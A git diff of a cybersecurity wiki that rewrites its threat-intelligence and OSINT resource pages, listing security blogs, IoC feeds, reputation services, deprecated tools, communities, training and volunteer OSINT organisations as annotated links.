-[https://www.crowdstrike.com/blog/category/threat-intel-research/](https://www.crowdstrike.com/blog/category/threat-intel-research/) -* JPCERT/CC - [https://blogs.jpcert.or.jp/en/](https://blogs.jpcert.or.jp/en/) -* SANS ISC Diary - [https://isc.sans.edu/diary.html](https://isc.sans.edu/diary.html) -* Cryptolaemus - [https://paste.cryptolaemus.com/](https://paste.cryptolaemus.com/) -* Uptycs - [https://www.uptycs.com/blog/tag/threat-research](https://www.uptycs.com/blog/tag/threat-research) - -
- -
- -Solo Researcher Blogs - -* Krebs on Security - [https://krebsonsecurity.com/](https://krebsonsecurity.com/) -* Schneier on Security - [https://www.schneier.com/](https://www.schneier.com/) -* Eric Conrad -[https://www.ericconrad.com/](https://www.ericconrad.com/) -* Daniel Miessler - [https://danielmiessler.com/blog/](https://danielmiessler.com/blog/) -* RedTimmy - [https://www.redtimmy.com/blog/](https://www.redtimmy.com/blog/) -* BC Sec - [http://bc-security.org/blog](http://bc-security.org/blog) -* Rastamouse - [http://rastamouse.me/](http://rastamouse.me/) -* Hakluke -[https://medium.com/@hakluke](https://medium.com/@hakluke) -* Hausec - [https://hausec.com/](https://hausec.com/) -* Pentesting Labs -[https://pentestlab.blog/](https://pentestlab.blog/) -* Intel Techniques Blog - [https://inteltechniques.com/blog/](https://inteltechniques.com/blog/) -* Jack Whitton - [https://whitton.io/](https://whitton.io/) -* hacks4pancakes -[https://tisiphone.net/](https://tisiphone.net/) -* Tao Security -[https://taosecurity.blogspot.com/](https://taosecurity.blogspot.com/) -* Troy Hunt - [https://www.troyhunt.com/](https://www.troyhunt.com/)\ - ZeroSec - [https://blog.zsec.uk/](https://blog.zsec.uk/) -* Graham Cluely - [https://grahamcluley.com/](https://grahamcluley.com/) - -
- -
- -Corporate Security Blogs - -* TrendMicro - [https://blog.trendmicro.com/](https://blog.trendmicro.com/) -* Microsoft - [https://msrc-blog.microsoft.com/](https://msrc-blog.microsoft.com/) -* DomainTools -[https://www.domaintools.com/resources/blog?category=domaintools-research\&authors=](https://www.domaintools.com/resources/blog?category=domaintools-research\&authors=) -* ProofPoint - [https://www.proofpoint.com/us/blog](https://www.proofpoint.com/us/blog) -* Zscaler - [https://www.zscaler.com/blogs/security-research](https://www.zscaler.com/blogs/security-research) -* SecureWorks - [https://www.secureworks.com/blog](https://www.secureworks.com/blog) -* Searchlight Cyber (formerly Digital Shadows) - [https://www.searchlight-cyber.com/research-and-insights/](https://www.searchlight-cyber.com/research-and-insights/) -* Recorded Future - [https://www.recordedfuture.com/blog/](https://www.recordedfuture.com/blog/) -* Heimdal Security - [https://heimdalsecurity.com/blog/posts/](https://heimdalsecurity.com/blog/posts/) -* Morphisec - [https://blog.morphisec.com/](https://blog.morphisec.com/) -* Imperva - [https://www.imperva.com/blog/](https://www.imperva.com/blog/) -* Tenable - [https://www.tenable.com/blog](https://www.tenable.com/blog) -* PhishLabs - [https://info.phishlabs.com/blog](https://info.phishlabs.com/blog) -* Google Blog - [https://security.googleblog.com/](https://security.googleblog.com/) -* Cofense - [https://cofense.com/blog/](https://cofense.com/blog/) -* Fortinet -[https://www.fortinet.com/blog](https://www.fortinet.com/blog) -* SpectreOps - [https://posts.specterops.io/?gi=c476d247e3c8](https://posts.specterops.io/?gi=c476d247e3c8) -* Virus Bulletin - [https://www.virusbulletin.com/blog/](https://www.virusbulletin.com/blog/) -* Anomali - [https://www.anomali.com/blog](https://www.anomali.com/blog) -* Intezer - [https://www.intezer.com/blog/](https://www.intezer.com/blog/) -* Verisign - [https://blog.verisign.com/](https://blog.verisign.com/) -* Virustotal - [https://blog.virustotal.com/](https://blog.virustotal.com/) -* WeLiveSecurity - [https://www.welivesecurity.com/research/](https://www.welivesecurity.com/research/) -* TrustedSec - [https://www.trustedsec.com/blog/](https://www.trustedsec.com/blog/) -* Broadcom Symantec - [https://www.broadcom.com/support/security-center](https://www.broadcom.com/support/security-center) -* Avast - [https://blog.avast.com/topic/security-news](https://blog.avast.com/topic/security-news) -* TrustWave -[https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/) -* ReversingLabs -[https://blog.reversinglabs.com/blog](https://blog.reversinglabs.com/blog) -* Rapid7 - [https://blog.rapid7.com/tag/research/](https://blog.rapid7.com/tag/research/) -* Security Trails - [https://securitytrails.com/blog](https://securitytrails.com/blog) -* Advanced Intel - [https://www.advanced-intel.com/blog](https://www.advanced-intel.com/blog) -* Scythe - [https://www.scythe.io/threatthursday](https://www.scythe.io/threatthursday) -* Trellix (formerly McAfee Enterprise) - [https://www.trellix.com/blogs/](https://www.trellix.com/blogs/) -* Huntress Labs - [https://www.huntress.com/blog](https://www.huntress.com/blog) -* Red Canary - [https://redcanary.com/blog/](https://redcanary.com/blog/) -* Splunk Security - [https://www.splunk.com/en_us/blog/security.html](https://www.splunk.com/en_us/blog/security.html) -* SentinelOne - [https://www.sentinelone.com/blog/](https://www.sentinelone.com/blog/) - -
- -
- -New Cyber Tool Blogs - -* [https://www.darknet.org.uk/](https://www.darknet.org.uk/) -* [https://www.toolswatch.org/](https://www.toolswatch.org/) -* [https://www.kitploit.com/](https://www.kitploit.com/) -* [https://packetstormsecurity.com/files/tags/tool/](https://packetstormsecurity.com/files/tags/tool/) -* [https://hakin9.org/blog-2/](https://hakin9.org/blog-2/) - -
- -**** +## Deprecated or Archived Tools -## IoC Feeds +* **CRITs** - Collaborative Research Into Threats. Last updated in 2018; consider OpenCTI, MISP, or TheHive. +* **NSA Unfetter** - Archived. Use ATT&CK Navigator and related MITRE tooling. +* **Malware Domain List** - Degraded/no longer maintained; use URLhaus, ThreatFox, and other abuse.ch feeds. +* **Threatpost** - Shut down in 2022 after acquisition. +* **TruSTAR standalone docs** - Splunk acquired TruSTAR; verify current Splunk CTI/SOAR workflows. +* **CybOX** - Legacy observable model folded into STIX 2.x. -MISP includes over 30 default feeds, with more being added regularly. Below are some of the most popular feeds. For a complete list of feeds available in MISP, visit: [https://www.misp-project.org/feeds/](https://www.misp-project.org/feeds/) - -
- -Free (In MISP) - -* CIRCL - [https://www.circl.lu/doc/misp/feed-osint/](https://www.circl.lu/doc/misp/feed-osint/) -* Botvrj - [https://www.botvrij.eu/data/feed-osint/](https://www.botvrij.eu/data/feed-osint/) -* Emerging Threats - [https://rules.emergingthreats.net/blockrules/compromised-ips.txt](https://rules.emergingthreats.net/blockrules/compromised-ips.txt) -* Feodo Tracker - [https://feodotracker.abuse.ch/downloads/ipblocklist.csv](https://feodotracker.abuse.ch/downloads/ipblocklist.csv) -* ThreatFox - [https://threatfox.abuse.ch/](https://threatfox.abuse.ch/) - Sharing IOCs associated with malware -* URLhaus - [https://urlhaus.abuse.ch/](https://urlhaus.abuse.ch/) - Malicious URL sharing -* MalwareBazaar - [https://bazaar.abuse.ch/](https://bazaar.abuse.ch/) - Malware sample sharing -* OpenPhish - [https://openphish.com/feed.txt](https://openphish.com/feed.txt) -* SSL Blacklist - [https://sslbl.abuse.ch/blacklist/sslipblacklist.csv](https://sslbl.abuse.ch/blacklist/sslipblacklist.csv) -* Digital Side - [https://osint.digitalside.it/Threat-Intel/digitalside-misp-feed/](https://osint.digitalside.it/Threat-Intel/digitalside-misp-feed/) -* FireHOL - [https://iplists.firehol.org/](https://iplists.firehol.org/) - -
- -
- -Free (Not in MISP) - -* AlienVault OTX - [https://otx.alienvault.com/](https://otx.alienvault.com/) - * [https://github.com/AlienVault-OTX/ApiV2](https://github.com/AlienVault-OTX/ApiV2) -* PhishHunt - [https://phishunt.io/](https://phishunt.io/) -* Disposable Email Domains - [https://github.com/ivolo/disposable-email-domains](https://github.com/ivolo/disposable-email-domains) -* FreeMail - [https://github.com/dpup/freemail](https://github.com/dpup/freemail) -* AbuseIPDB - [https://www.abuseipdb.com/](https://www.abuseipdb.com/) -* Stop Forum Spam - [https://www.stopforumspam.com/](https://www.stopforumspam.com/) -* D-Shield - [https://www.dshield.org/xml.html](https://www.dshield.org/xml.html) -* Dan.me.uk - Contains multiple different types of constantly updated block lists - * Tor Exit Nodes - [https://www.dan.me.uk/tornodes](https://www.dan.me.uk/tornodes) - * DNS Blacklists - [https://www.dan.me.uk/dnsbl](https://www.dan.me.uk/dnsbl) -* Spamhaus Block Lists - [https://www.spamhaus.org/drop/](https://www.spamhaus.org/drop/) -* ProjectHoneyPot - [https://www.projecthoneypot.org/list\_of\_ips.php](https://www.projecthoneypot.org/list\_of\_ips.php) -* Darkfeed - [https://darkfeed.io/](https://darkfeed.io/) -* Anomali Limo - [https://www.anomali.com/resources/limo](https://www.anomali.com/resources/limo) -* Uncoder CTI - [https://socprime.com/blog/uncoder-cti-step-by-step-guidelines/](https://socprime.com/blog/uncoder-cti-step-by-step-guidelines/) -* [Rescure](https://rescure.me/) - Curated cyber threat intelligence for everyone -* [https://github.com/executemalware/Malware-IOCs](https://github.com/executemalware/Malware-IOCs) -* Shodan - [https://www.shodan.io/](https://www.shodan.io/) - Search engine for Internet-connected devices (free tier available) -* Censys - [https://censys.io/](https://censys.io/) - Internet-wide scanning and intelligence platform -* GreyNoise - [https://www.greynoise.io/](https://www.greynoise.io/) - Identifies internet scanners and benign activity -* VirusTotal - [https://www.virustotal.com/](https://www.virustotal.com/) - File, URL, and IP reputation service -* Hybrid Analysis - [https://www.hybrid-analysis.com/](https://www.hybrid-analysis.com/) - Free automated malware analysis -* ANY.RUN - [https://any.run/](https://any.run/) - Interactive malware analysis sandbox -* Joe Sandbox - [https://www.joesandbox.com/](https://www.joesandbox.com/) - Automated malware analysis (free tier) -* URLScan.io - [https://urlscan.io/](https://urlscan.io/) - Service to scan and analyze websites - -
- -
- -Premium Feeds - -* CrowdStrike - [https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/](https://www.crowdstrike.com/endpoint-security-products/falcon-x-threat-intelligence/) -* SpamHaus - [https://www.spamhaus.com/product/data-query-service/](https://www.spamhaus.com/product/data-query-service/) -* HashDD - [https://www.hashdd.com/#pricing](https://www.hashdd.com/#pricing) -* Intel471 - [https://intel471.com/products/threat-intelligence/](https://intel471.com/products/threat-intelligence/) -* IntelX - [https://www.sophos.com/en-us/labs/intelix.aspx](https://www.sophos.com/en-us/labs/intelix.aspx) -* TruSTAR (acquired by Splunk) - [https://www.splunk.com/en_us/products/trustar.html](https://www.splunk.com/en_us/products/trustar.html) -* Cymru - [https://team-cymru.com/](https://team-cymru.com/) -* CINS - [https://cinsscore.com/#cins-ati](https://cinsscore.com/#cins-ati) -* FarsightDB - [https://www.farsightsecurity.com/solutions/threat-intelligence-team/newly-observed-domains/](https://www.farsightsecurity.com/solutions/threat-intelligence-team/newly-observed-domains/) -* ThreatStop - [https://www.threatstop.com/threatstop-pricing](https://www.threatstop.com/threatstop-pricing) -* Well-Fed Intelligence -[https://wellfedintelligence.com/](https://wellfedintelligence.com/) -* VirusTotal Intelligence - [https://www.virustotal.com/gui/intelligence-overview](https://www.virustotal.com/gui/intelligence-overview) -* Recorded Future - [https://www.recordedfuture.com/platform/](https://www.recordedfuture.com/platform/) -* Mandiant Advantage - [https://www.mandiant.com/advantage](https://www.mandiant.com/advantage) - -
+## Onion Feeds -## Deprecated or Archived Tools +* [OSINT Party Fresh Onion RSS](https://osint.party/api/rss/fresh) - Fresh `.onion` RSS feed. Service status can vary, and links may be illegal or harmful; verify availability, treat links as untrusted, and follow the OPSEC section. -The following tools and resources are no longer actively maintained but may still be referenced in historical documentation: - -
- -Deprecated Tools - -* **CRITs** - [https://github.com/crits/crits](https://github.com/crits/crits) - Collaborative Research Into Threats. Last updated 2018, project is no longer maintained. Consider using OpenCTI, MISP, or TheHive as alternatives. -* **NSA Unfetter Project** - [https://nsacyber.github.io/unfetter/](https://nsacyber.github.io/unfetter/) - Project archived, no longer maintained. Use MITRE ATT&CK Navigator or other gap analysis tools instead. -* **Malware Domain List** - [https://www.malwaredomainlist.com/](https://www.malwaredomainlist.com/) - Site functionality has degraded significantly. Consider using URLhaus, ThreatFox, or other abuse.ch feeds instead. -* **ThreatPost** - [https://threatpost.com/](https://threatpost.com/) - News site was shut down in 2022 after being acquired. Content may be available in archives but is no longer updated. - -
- -## Other Sources and Media - -
- -Forums and Communities - -* SANS Forums - [https://isc.sans.edu/forums/Diary+Discussions/](https://isc.sans.edu/forums/Diary+Discussions/) -* HackBusters -[https://discuss.hackbusters.com/](https://discuss.hackbusters.com/) -* Reddit - * r/blueteamsec - * r/cybersecurity - * r/hacking - * r/HowToHack - * r/Intelligence - * r/Linux - * r/kalilinux - * r/netsec - * r/pentesting - * r/redteamsec - * r/security - * r/SecurityBlueTeam - * r/SecurityRedTeam - * r/threathunting - * r/AskNetsec -* Discord Communities - * SANS Discord - * DFIR Discord - * BloodHound Gang - * InfoSec Prep -* Slack Communities - * BloodHound Slack - * Threat Hunting Community - * OSINT Curious -* Mastodon - * infosec.exchange - Primary cybersecurity Mastodon instance - -
- -
- -Podcast/Webcast - -* Darknet Diaries - [https://darknetdiaries.com/](https://darknetdiaries.com/) -* Privacy, Security, and OSINT show - [https://inteltechniques.com/podcast.html](https://inteltechniques.com/podcast.html) -* CyberWire - [https://www.thecyberwire.com/podcasts/](https://www.thecyberwire.com/podcasts/) -* ProofPoint Podcasts - [https://www.proofpoint.com/us/resources/podcast](https://www.proofpoint.com/us/resources/podcast) -* Social-engineer - [https://www.social-engineer.org/category/podcast/](https://www.social-engineer.org/category/podcast/) -* Beers with Talos - [https://blog.talosintelligence.com/](https://blog.talosintelligence.com/2020/08/beers-with-talos-ep-90-hacktivism.html) -* Malicious Life - [https://malicious.life/](https://malicious.life/) -* GIAC - [https://www.giac.org/podcasts](https://www.giac.org/podcasts) -* Security Weekly - [https://securityweekly.com/](https://securityweekly.com/) -* BlackHills Webcasts - [https://www.blackhillsinfosec.com/blog/webcasts/](https://www.blackhillsinfosec.com/blog/webcasts/) - -
- -
- -YouTube Channels - -* SANS Cyber Security - [https://www.youtube.com/@SANSCyberSecurity](https://www.youtube.com/@SANSCyberSecurity) -* The Cyber Mentor - [https://www.youtube.com/@TCMSecurityAcademy](https://www.youtube.com/@TCMSecurityAcademy) -* John Hammond - [https://www.youtube.com/@_JohnHammond](https://www.youtube.com/@_JohnHammond) -* 13Cubed - [https://www.youtube.com/@13Cubed](https://www.youtube.com/@13Cubed) -* Black Hills Information Security - [https://www.youtube.com/@BlackHillsInformationSecurity](https://www.youtube.com/@BlackHillsInformationSecurity) -* NetworkChuck - [https://www.youtube.com/@NetworkChuck](https://www.youtube.com/@NetworkChuck) -* IppSec - [https://www.youtube.com/@ippsec](https://www.youtube.com/@ippsec) -* STÖK - [https://www.youtube.com/@STOKfredrik](https://www.youtube.com/@STOKfredrik) - -
- -* **Onion Sites** - [https://osint.party/api/rss/fresh](https://osint.party/api/rss/fresh) - An amazing RSS feed of fresh and newly discovered .onion sites. Be careful, this feed remains uncensored, so you may encounter illegal content. -* **Twitter Users to Follow** - For high-fidelity, user-created intelligence, follow the curated list of security researchers and analysts at: [https://phishunt.io/community/](https://phishunt.io/community/) +{% content-ref url="../grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](../grey-privacy-tor-opsec/) +{% endcontent-ref %} diff --git a/cyber-intelligence/osint/README.md b/cyber-intelligence/osint/README.md index bb6048a..f6a2ad3 100644 --- a/cyber-intelligence/osint/README.md +++ b/cyber-intelligence/osint/README.md @@ -4,254 +4,155 @@ description: Open Source Intelligence # OSINT -## **Intro** +Open-source intelligence (OSINT) is the disciplined collection and analysis of publicly available information. This section focuses on passive investigation: search engines, public records, domains, IP addresses, usernames, social media, files, breach data, dark web sources, geolocation, and other public data pivots. -The focus of this section is to provide helpful resources for OSINT and Passive reconnaissance on a given target. There will be certain tools and sites you might be familiar with that could be applicable in this section, that I have omitted and with good reason. +This section intentionally avoids most active scanning and exploitation tooling. Those resources belong in Red Offensive. Reputation and enrichment platforms belong in Threat Data. -1. This section is "Passive" recon, which does not entail touching or interacting with your target in any way. For offensive operations, staying off radar is key. But can we check with other sources that may have already scanned out target? You bet. -2. There are many research tools that provide similar output to the ones listed in the later sections. The ones that I have specifically omitted (and will document in another section) are tailored more to defensive operations and contain information like reputation data and historical activity. +{% content-ref url="../threat-data.md" %} +[threat-data.md](../threat-data.md) +{% endcontent-ref %} + +{% content-ref url="../../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -## **OSINT Resources** +## OSINT Guides and Methodology -
+* [IntelTechniques OSINT Book and Tools](https://inteltechniques.com/osintbook) - Michael Bazzell's OSINT resources and search tools. +* [OH SHINT](https://ohshint.gitbook.io/) - Detailed OSINT link collection. +* [Security Sift: Passive Reconnaissance](http://www.securitysift.com/passive-reconnaissance/) - Passive recon workflow reference. +* [Penetration Testing Execution Standard: Intelligence Gathering](http://www.pentest-standard.org/index.php/Intelligence_Gathering) - Reconnaissance process reference. +* [OSINT Handbook 2020](https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf) - Tools and techniques by I-Intelligence. +* [Randhome OSINT Guide](https://www.randhome.io/blog/2019/01/05/2019-osint-guide/) - OSINT workflow and tools. +* [NixIntel: Gap Analysis for OSINT](https://nixintel.info/osint/using-gap-analysis-to-keep-osint-investigations-on-track/) - Investigation methodology. +* [Aware Online: Investigating a Website](https://twitter.com/aware_online/status/1308312883248467975) +* [OSINT x UCCU Workshop](https://www.slideshare.net/miaoski/osint-x-uccu-workshop-on-open-source-intelligence) +* [Dark Web OSINT Deep Dive](https://www.youtube.com/watch?v=fzd3zkAI_o4) +* [Verification Handbook](https://datajournalism.com/read/handbook/verification-3) - Journalism-oriented verification guidance that maps well to OSINT. -OSINT Guides and Methodology +Training, CTFs, TryHackMe rooms, and OSINT practice labs are kept in Training. -Specific for what you need to look for and how to find it, during the passive recon phase of a penetration test, or the proper way to OSINT. +{% content-ref url="../../training/" %} +[training](../../training/) +{% endcontent-ref %} -* [IntelTechniques](https://inteltechniques.com/osintbook) - One of the best resources for OSINT has been Michael Bazzell's OSINT book and his website. I highly recommend you order his book. The HTML search tools I reference here come from his collection, available on his website for free. He also runs the Privacy and Security Podcast which is a highly recommended resource for both OSINT techniques and personal privacy. -* [https://ohshint.gitbook.io/](https://ohshint.gitbook.io/) - One of the most detailed OSINT resources available. Chocked full of search tools. -* [Security Sift ](http://www.securitysift.com/passive-reconnaissance/) - This write up is a great guide to Passive recon when preparing for a penetration test. For building up your own workflow, start with this. -* [Pen Test Standard](http://www.pentest-standard.org/index.php/Intelligence_Gathering) - Great guides for every step of a penetration test, but the recon section is especially useful as a reference here. -* [OSINT\_Handbook\_2020.pdf](https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf) - OSINT Tools and Techniques by I-Intelligence -* [https://www.randhome.io/blog/2019/01/05/2019-osint-guide/](https://www.randhome.io/blog/2019/01/05/2019-osint-guide/) - Great guide of some newer tools and techniques. -* [https://nixintel.info/osint/using-gap-analysis-to-keep-osint-investigations-on-track/](https://nixintel.info/osint/using-gap-analysis-to-keep-osint-investigations-on-track/) - Great article on investigation methodology to hasten your OSINT research. -* Methodology of how to investigate a website - [https://twitter.com/aware\_online/status/1308312883248467975](https://twitter.com/aware_online/status/1308312883248467975) -* [OSINT x UCCU Workshop on Open Source Intelligence](https://www.slideshare.net/miaoski/osint-x-uccu-workshop-on-open-source-intelligence) - Slide deck from a workshop by Miaoski, one of the Senior Intel Analysts for Trend Micro. -* [102 Deep Dive in the Dark Web OSINT](https://www.youtube.com/watch?v=fzd3zkAI_o4) - Great video presentation on Dark Web OSINT techniques -* [Verification handbook](https://datajournalism.com/read/handbook/verification-3) - Designed for journalists but still quite useful, the Verification handbook provides a wealth of resources on investigative procedure - -
- -
- -OSINT training courses. - -* [https://courses.thecyberinst.org/courses/osint-challenge](https://courses.thecyberinst.org/courses/osint-challenge) -* [https://courses.thecyberinst.org/courses/osintmini](https://courses.thecyberinst.org/courses/osintmini) -* [https://www.tracelabs.org/initiatives/search-party](https://www.tracelabs.org/initiatives/search-party) -* [https://www.geoguessr.com/](https://www.geoguessr.com/) -* [https://kit.exposingtheinvisible.org/en/](https://kit.exposingtheinvisible.org/en/) -* [https://advocacyassembly.org/en/courses/](https://advocacyassembly.org/en/courses/) - -
- -
- -OSINT CTFs and Modules - -* [https://cyberdefenders.org/labs/38](https://cyberdefenders.org/labs/38) - Intel101 -* [https://ctf.cybersoc.wales/](https://ctf.cybersoc.wales/) -* [https://www.geoguessr.com/](https://www.geoguessr.com/) -* [https://ictf.io/](https://ictf.io/) -* [https://hacktoria.com/](https://hacktoria.com/) -* [https://investigator.cybersoc.wales/](https://investigator.cybersoc.wales/) -* [https://tryhackme.com/room/ohsint](https://tryhackme.com/room/ohsint) -* [https://tryhackme.com/room/sakura](https://tryhackme.com/room/sakura) -* [https://tryhackme.com/room/searchlightosint](https://tryhackme.com/room/searchlightosint) -* [https://tryhackme.com/room/googledorking](https://tryhackme.com/room/googledorking) -* [https://tryhackme.com/room/geolocatingimages](https://tryhackme.com/room/geolocatingimages) -* [https://tryhackme.com/room/webosint](https://tryhackme.com/room/webosint) -* [https://sourcing.games/game-1/](https://sourcing.games/game-1/) - -
- -
- -Youtube Channels and Web Casts - -* 0x4rkØ OSINT videos - [https://www.youtube.com/c/0x4rk%C3%98/videos](https://www.youtube.com/c/0x4rk%C3%98/videos) -* OSINTCurious - [https://www.youtube.com/channel/UCjzceWf-OT3ImIKztzGkipA/videos](https://www.youtube.com/channel/UCjzceWf-OT3ImIKztzGkipA/videos) - * OSINTCurious 10 minute tips - [https://www.youtube.com/playlist?list=PL423I\_gHbWUUOs09899rex4t2l5py9YIk](https://www.youtube.com/playlist?list=PL423I_gHbWUUOs09899rex4t2l5py9YIk) - * OSINTCurious Webcasts - [https://osintcurio.us/osintvideosandpodcasts/](https://osintcurio.us/osintvideosandpodcasts/) -* Adrian Crenshaw OSINT videos - [https://www.youtube.com/user/irongeek/search?query=OSINT](https://www.youtube.com/user/irongeek/search?query=OSINT) -* Authentic8 - [https://www.youtube.com/user/Authentic8TV](https://www.youtube.com/user/Authentic8TV) -* ConInt - [https://www.youtube.com/channel/UCBtSOceclpKcvunVNw82tFQ/videos](https://www.youtube.com/channel/UCBtSOceclpKcvunVNw82tFQ/videos) -* Toddington - Drop in and Learn - [https://www.youtube.com/channel/UCAqnnQkeSVTC3ZJ7urNiD8Q](https://www.youtube.com/channel/UCAqnnQkeSVTC3ZJ7urNiD8Q) - * Drop in and Learn Web casts - [https://www.toddington.com/drop-in-and-learn-webcasts/](https://www.toddington.com/drop-in-and-learn-webcasts/) -* Using Kali OSINT Tools - [https://www.youtube.com/playlist?list=PL0A5SH4w3NaIBKahXMaO29uToGLn3dARF](https://www.youtube.com/playlist?list=PL0A5SH4w3NaIBKahXMaO29uToGLn3dARF) -* Ben Strick - OSINT at Home - [https://www.youtube.com/playlist?list=PLrFPX1Vfqk3ehZKSFeb9pVIHqxqrNW8Sy](https://www.youtube.com/playlist?list=PLrFPX1Vfqk3ehZKSFeb9pVIHqxqrNW8Sy) -* OSINT Dojo - [https://www.youtube.com/osintdojo](https://www.youtube.com/osintdojo) -* SCSP OSINT Series - [https://www.youtube.com/playlist?list=PL7yUP1guJz7fZNfZM-zkUieKSeA1TCG2S](https://www.youtube.com/playlist?list=PL7yUP1guJz7fZNfZM-zkUieKSeA1TCG2S) -* Tracelabs Youtube - [https://www.youtube.com/channel/UCezKbcbnYtrwRXfGzgQMI3w](https://www.youtube.com/channel/UCezKbcbnYtrwRXfGzgQMI3w) - -
- -
- -OSINT communities and thier resources - -* [OSINTCurious](https://osintcurio.us/) - Great community and training for those who are interested in OSINT skills and tools. - * [Osint Curious OSINT Resource List](https://docs.google.com/document/d/14li22wAG2Wh2y0UhgBjbqEvZJCDsNZY8vpUAJ_jJ5X8/edit) -* [OSINT Techniques Blog](https://www.osinttechniques.com/) - Fantastic site with tool lists, video guides, and blog on the latest techniques. - * [osinttechniques.com Tool List](https://www.osinttechniques.com/osint-tools.html) -* [Osintion](https://www.theosintion.com/) - OSINT and Social Engineering master Joe Grey's website. Resources, OSINT Courses, and consultation services. -* [OSINT Dojo](https://www.osintdojo.com/) - A project that provides those new to OSINT a number of free resources and simple challenges that build on one another to provide a simple road map for learning more about the field and polishing up related skills while also earning badges to show off your hard work. - * [OSINT Dojo Resources](https://www.osintdojo.com/resources/) -* [Bellingcat's OSINT How-To](https://www.bellingcat.com/category/resources/how-tos/) - Bellingcat is a collective of researchers and journalists that use OSINT tools and techniques for a variety of purposes and that have come together to share thier latest and greatest tools and techniques. They have a slow of guides for researching specific things with OSINT. - * [Bellingcat's Tool Collection](https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ/edit#gid=930747607) -* [Aware-Online](https://www.aware-online.com/en/) - Aware Online is a Netherlands based training institute specialized in providing training in the field of Open Source intelligence (OSINT) and Social Media Intelligence (SOCMINT). -* [https://exposingtheinvisible.org/](https://exposingtheinvisible.org/) - Exposing the Invisible is a project of [Tactical Tech](https://tacticaltech.org/), an international NGO that engages with citizens and civil-society organizations to explore and mitigate the impacts of technology on society. - * [https://kit.exposingtheinvisible.org/en/](https://kit.exposingtheinvisible.org/en/) - -
- -
- -OSINTer Blogs - -All of these are fantastic resource. Check them regularly for new tools and techniques. - -* [https://benjaminstrick.com/blog/](https://benjaminstrick.com/blog/) -* [https://blog.bushidotoken.net/](https://blog.bushidotoken.net/) -* [https://threadreaderapp.com/user/cyb\_detective](https://threadreaderapp.com/user/cyb_detective) -* [https://dutchosintguy.com/events-and-blogs/](https://dutchosintguy.com/events-and-blogs/) -* [https://www.intelligencewithsteve.com/blog](https://www.intelligencewithsteve.com/blog) -* [https://inteltechniques.com/blog/](https://inteltechniques.com/blog/) -* [https://keyfindings.blog/](https://keyfindings.blog/) -* [https://www.lorandbodo.com/](https://www.lorandbodo.com/) -* [https://www.offensiveosint.io/](https://www.offensiveosint.io/) -* [https://www.osintcombine.com/blog](https://www.osintcombine.com/blog) -* [https://www.osinteditor.com/](https://www.osinteditor.com/) -* [https://www.osintme.com/](https://www.osintme.com/) -* [http://www.theosintjournal.org/](http://www.theosintjournal.org/) -* [https://www.bellingcat.com/](https://www.bellingcat.com/) -* [https://www.cqcore.uk/blog-posts/](https://www.cqcore.uk/blog-posts/) -* [https://keyfindings.blog/](https://keyfindings.blog/) -* [https://www.offensiveosint.io/](https://www.offensiveosint.io/) -* [https://sector035.nl/](https://sector035.nl/) - -
- -
- -Forums/Groups/Chatrooms - -### **Forums** - -* [https://app.element.io/#/room/#osint-chat:matrix.org](https://app.element.io/#/room/#osint-chat:matrix.org) -* [https://osint.team/home](https://osint.team/home) -* [https://www.websleuths.com/forums/](https://www.websleuths.com/forums/) -* https://reddit.com - * r/InfoSecNews - * r/OSINT - * r/RBI - -### Discord/Slack - -* Bellingcat Discord - [https://discord.gg/nTaNPmz](https://discord.gg/nTaNPmz) -* conInt Discord - [https://discord.gg/AJYUV7S](https://discord.gg/AJYUV7S) -* Defcon Discord - [https://discord.gg.defcon](https://discord.gg.defcon) -* Hack South Discord - [https://discord.gg/nTJFJrUwwT](https://discord.gg/nTJFJrUwwT) -* Imaginary CTF Discord - [https://discord.gg/sjVcTTXg6a](https://discord.gg/sjVcTTXg6a) -* OSINT Editor Discord - [https://discord.gg/M5pk9rE](https://discord.gg/M5pk9rE) -* OSINT-FR Discord - [https://discord.osintfr.com](https://discord.osintfr.com) -* Project Owl Discord - [https://discord.gg/projectowl](https://discord.gg/projectowl) -* SANS Blue Team Discord - [https://discord.gg/ZvgwPtuusE](https://discord.gg/ZvgwPtuusE) -* DeadpixelSec Discord - [https://discord.gg/infosec](https://discord.gg/infosec) -* OSINT Curious Discord - [https://discord.gg/eaz5AqHDfK](https://discord.gg/eaz5AqHDfK) -* OSINTion Discord - [https://discord.gg/p78TTGa](https://discord.gg/p78TTGa) -* Tracelabs Slack - [https://tracelabs.slack.com](https://tracelabs.slack.com) - -
- -
- -Volunteer OSINT - -There are a few interesting organizations out there that take OSINT researchers and have them help with certain public good tasks like finding missing children or stopping pedophiles. It can be a heavy ask but can really do some good in the world with the skills that we have. Please check out and If you can donate some time to help, please do! - -* [https://www.tracelabs.org/](https://www.tracelabs.org/) -* [https://www.innocentlivesfoundation.org/](https://www.innocentlivesfoundation.org/) -* [https://badassarmy.org/](https://badassarmy.org/) -* [https://citizenevidence.org/](https://citizenevidence.org/) -* [https://crisismapping.ning.com/](https://crisismapping.ning.com/) -* [https://www.fbi.gov/wanted/ecap](https://www.fbi.gov/wanted/ecap) -* [https://informnapalm.org/en/](https://informnapalm.org/en/) -* [https://locate.international/](https://locate.international/) -* [https://www.missingkids.org/](https://www.missingkids.org/) -* [https://www.ncptf.org/](https://www.ncptf.org/) -* [https://ourrescue.org/](https://ourrescue.org/) -* [https://www.europol.europa.eu/stopchildabuse](https://www.europol.europa.eu/stopchildabuse) -* [https://www.stopthetraffik.org/](https://www.stopthetraffik.org/) - -
- -## OSINT Tools - -
